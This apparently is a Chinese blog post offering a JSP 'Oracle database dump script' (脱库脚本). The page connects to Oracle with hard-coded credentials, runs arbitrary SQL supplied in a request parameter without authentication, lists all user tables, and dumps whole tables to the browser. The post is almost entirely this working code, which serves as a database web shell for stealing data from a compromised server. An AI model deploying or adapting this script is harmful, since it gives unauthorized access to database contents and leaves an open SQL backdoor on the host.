虽说十分简陋,但是应对一般的查询操作已经足够了。

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<!DOCTYPE html>
<html>
<head><title>Oracle数据库脱库脚本--N3verL4nd</title>
</head>
<body>
<%!/*** 获取结果集的 ColumnLabel 对应的 List* @param rs* @return* @throws SQLException*/@SuppressWarnings("unchecked")private List getColumnLabels(ResultSet rs) throws SQLException {ResultSetMetaData metaData;List labels = new ArrayList();metaData = rs.getMetaData();for (int i = 0; i < metaData.getColumnCount(); i++) {labels.add(metaData.getColumnLabel(i + 1));}return labels;}/*** 将 ResultSet 转换为 List 并返回* @param rs* @return* @throws SQLException*/@SuppressWarnings("unchecked")private List resolveResultSet(ResultSet rs) throws SQLException {List list = new ArrayList();Map map = null;List<String> labels = getColumnLabels(rs);while (rs.next()) {map = new HashMap();for (int i = 0; i < labels.size(); i++) {String label = labels.get(i);map.put(label, rs.getObject(label));}list.add(map);}return list;}
%><%try {Class.forName("oracle.jdbc.driver.OracleDriver");} catch (ClassNotFoundException e) {e.printStackTrace();}// 需要配置的地方//-----------------------------String url = "jdbc:oracle:thin:@127.0.0.1:1521:drcom";String username = "drcom";String password = "drcom";//-----------------------------Connection conn = null;Statement stmt = null;ResultSet rs = null;String path = request.getScheme() + "://" +request.getServerName() + ":" +request.getServerPort() +request.getContextPath() +request.getServletPath();try {conn = DriverManager.getConnection(url, username, password);if (request.getParameter("sql") != null && !request.getParameter("sql").equals("")) {String sql = request.getParameter("sql");stmt = conn.createStatement();rs = stmt.executeQuery(sql);List list = resolveResultSet(rs);for (int i = 0; i < list.size(); i++) {Map map = (Map) list.get(i);Iterator it = map.entrySet().iterator();while (it.hasNext()) {Map.Entry entry = (Map.Entry) it.next();Object key = entry.getKey();Object value = entry.getValue();out.println(key.toString().toLowerCase() + ":" + value);out.println("&nbsp;&nbsp;");}out.println("<br />");}} else if (request.getParameter("table") == null || request.getParameter("table").equals("")) {// 输出所有用户表stmt = conn.createStatement();rs = stmt.executeQuery("select table_name from user_tables");out.println("<p>当前 Oracle 数据库中所有用户表:</p>");while (rs.next()) {out.print("<a href=");out.print(path);out.print("?table=");out.print(rs.getString(1));out.print(" target=_blank>");out.print(rs.getString(1));out.print("</a><br />");}} else {String table = request.getParameter("table");stmt = conn.createStatement();rs = stmt.executeQuery("select * from " + table);List list = resolveResultSet(rs);out.println("当前数据库 " + table + " 共有 " + list.size() + " 条记录!<br />");out.println("<table border=\"1\">");if (list.size() != 0) {Map map = (Map) list.get(0);out.println("<tr>");Iterator it = map.entrySet().iterator();while (it.hasNext()) {Map.Entry entry = (Map.Entry) it.next();Object value = entry.getKey();out.println("<th>" + value + "</th>");}out.println("</tr>");}for (int i = 0; i < list.size(); i++) {out.println("<tr>");Map map = (Map) list.get(i);Iterator it = map.entrySet().iterator();while (it.hasNext()) {Map.Entry entry = (Map.Entry) it.next();Object value = entry.getValue();out.println("<td>" + value + "</td>");}out.println("</tr>");}out.println("</table>");}} catch (SQLException e) {e.printStackTrace();} finally {if (rs != null) {try {rs.close();} catch (SQLException e) {e.printStackTrace();}}if (stmt != null) {try {stmt.close();} catch (SQLException e) {e.printStackTrace();}}if (conn != null) {try {conn.close();} catch (SQLException e) {e.printStackTrace();}}}
%>
</body>
</html>

Oracle脱库脚本相关推荐

  1. oracle倒库脚本

    oracle倒库脚本 数据库导库(10g): set NLS_LANG=SIMPLIFIED CHINESE_CHINA.ZHS16GBK exp CB_SZXX/a1b2c3@kyy_66 file ...

  2. PowerDesigner生成数据库刷库脚本

    1.说明 使用PowerDesigner设计数据库表, 基于PowerDesigner设计数据库表, 生成MySQL数据库对应的DDL刷库脚本. 2.生成物理数据模型 首先介绍PowerDesigne ...

  3. 【Oracle健康检查脚本加量不加价】对Oracle 10g、11g和12c版本分别提供了只读版,并且加上了MySQL的健康检查...

    目前一共包含6个脚本,若脚本的扩展名为".sql"则表示该脚本为sql脚本,若脚本的扩展名为".pl"则表示该脚本为perl脚本. 对于SQL脚本而言,其中DB ...

  4. 数据安全防脱库解决方案信息泄密根源

    本文讲的是数据安全防"脱库"解决方案信息泄密根源,近日不断有黑客陆续在互联网上公开提供国内多家知名网站部分用户数据库下载,国内外媒体频繁报道,影响恶劣,引起社会广泛关注.其中涉及到 ...

  5. Oracle性能监控脚本

    Oracle性能监控脚本 2011-09-05      0 个评论       收藏    我要投稿 1. 监控事例的等待 select event,sum(decode(wait_Time,0,0 ...

  6. 0227windows下模糊查询oracle事件的脚本

    [20170227]windows下模糊查询oracle事件的脚本.txt $ cat ooerr.bat @@echo off rem disp oracle error rem /bin/grep ...

  7. Oracle数据库实用脚本

    以下是Maclean.Liu所编写或收集的Oracle数据库实用脚本的列表,在这里分享一下: Script:收集Enterprise Manager Grid Control/Agent/Databa ...

  8. oracle自动imp脚本

    摘自:http://www.pcppc.cn/shujuku/ORACLE/shujuku_163351.html 您正在看的ORACLE教程是:oracle自动imp脚本. 先删除用户,在重建用户, ...

  9. C#.NET 大型企业信息化系统集成快速开发平台 4.2 版本 - 防止脱库、防止篡改数据...

    一些无关紧要的数据.被脱库了什么的, 也没啥的,但是有些比较重要的数据被脱库了,虽然可能没严重的损失,但是会很丢人一样的,被爆出脱库了什么的,总是会比较难为情的,说实话也是蛮丢人的,能多防范就多防范, ...

  10. 启动和停止Oracle服务bat脚本

    总所周知,Oracle随开机启动会占很大内存,而你每次想用的时候还得去计算机服务里去找服务.一个一个的启动,比较麻烦. 这里给出两个bat脚本,来直接双击启动和停止Oracle服务[脚本内容来源于网络 ...

最新文章

  1. a onclick 未响应_深大李冰石教授、港科大唐本忠院士:在多重刺激响应性材料领域取得最新进展...
  2. 【机器学习基础】支持向量机超参数的可视化解释
  3. Spring Boot——[Unable to start LiveReload server]解决方案
  4. html文档的文件头的主要作用是什么,文件头
  5. /etc/fstab修改及mkfs(e2label)相关应用与疑问
  6. Oracle数据库性能优化的艺术pdf
  7. 【Linux】Mac在VMware中安装ubuntu教程和安装时遇到键盘鼠标失效等问题的解决方案
  8. revel MySQL_使用Revel(go)开发网站
  9. 数据分析面试【统计学】-----假设检验知识点归纳
  10. React(四):Smart组件与Dumb组件
  11. windows7 安装哪个版本的vs_轻钢龙骨vs木龙骨 吊顶安装选哪个好,看完立刻做出了选择...
  12. 关于apple watch(苹果表)
  13. 买了云服务器不会用?写了网站不会部署?超详细springboot+vue前后端项目部署教程来啦
  14. 多个等式束的拉格朗日乘子问题(详细证明)
  15. C++ 身份证设定(复合类+拷贝构造)
  16. Windows WSL2 安装Nvidia-Docker GPU 驱动Paddlepaddle
  17. 存在重复元素-python对不起算法大人,我又来水了
  18. 普林斯顿大学计算机专业,普林斯顿大学计算机专业就业前景怎么样?
  19. 数字孪生油气行业技术应用,石油三维实景建模模型
  20. SQL汇总统计与CUBE概念

热门文章

  1. 面试系列(三):Java反射机制
  2. Cmder美化WSL Ubuntu
  3. DevExpress ChartControl 实现多轴
  4. 运维记之源码编译nfs-utils和rpcbind
  5. RPCBind 服务被利用进行 UDP 反射 DDoS 风险预警
  6. qt添加控制台语句_向控制台语句添加样式
  7. JS字符串转为数值方法详解
  8. OpenGL编程指南(原书第8版)环境搭建
  9. GBK编码表与编码字库
  10. 自己不能跑的车凭什么叫自行车?华为天才少年打造无人驾驶「自行车」